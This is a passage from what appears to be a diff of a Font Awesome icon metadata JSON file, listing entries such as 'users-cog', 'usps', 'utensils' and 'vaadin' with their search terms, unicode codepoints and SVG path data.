112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" + } + }, + "free": [ + "solid" + ] + }, + "users-cog": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "cog", + "group", + "person", + "settings", + "team" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f509", + "label": "Users Cog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635790, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" + } + }, + "free": [ + "solid" + ] + }, + "users-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "disband", + "friends", + "group", + "people", + "persons", + "profiles", + "separate", + "team", + "ungroup" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e073", + "label": "Users Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635790, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z" + } + }, + "free": [ + "solid" + ] + }, + "usps": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "american", + "package", + "shipping", + "usa" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7e1", + "label": "United States Postal Service", + "svg": { + "brands": { + "last_modified": 1558987775925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z" + } + }, + "free": [ + "brands" + ] + }, + "ussunnah": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f407", + "label": "us-Sunnah Foundation", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z" + } + }, + "free": [ + "brands" + ] + }, + "utensil-spoon": { + "changes": [ + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "cutlery", + "dining", + "scoop", + "silverware", + "spoon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2e5", + "label": "Utensil Spoon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635791, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z" + } + }, + "free": [ + "solid" + ] + }, + "utensils": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cutlery", + "dining", + "dinner", + "eat", + "food", + "fork", + "knife", + "restaurant" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2e7", + "label": "Utensils", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635792, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "416", + "512" + ], + "width": 416, + "height": 512, + "path": "M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z" + } + }, + "free": [ + "solid" + ] + }, + "vaadin": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f408", + "label": "Vaadin", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z" + } + }, + "free": [ + "brands" + ] + }, + "vector-square": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anchors", + "lines", + "object", + "render", + "shape" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5cb", + "label": "Vector Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635793, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 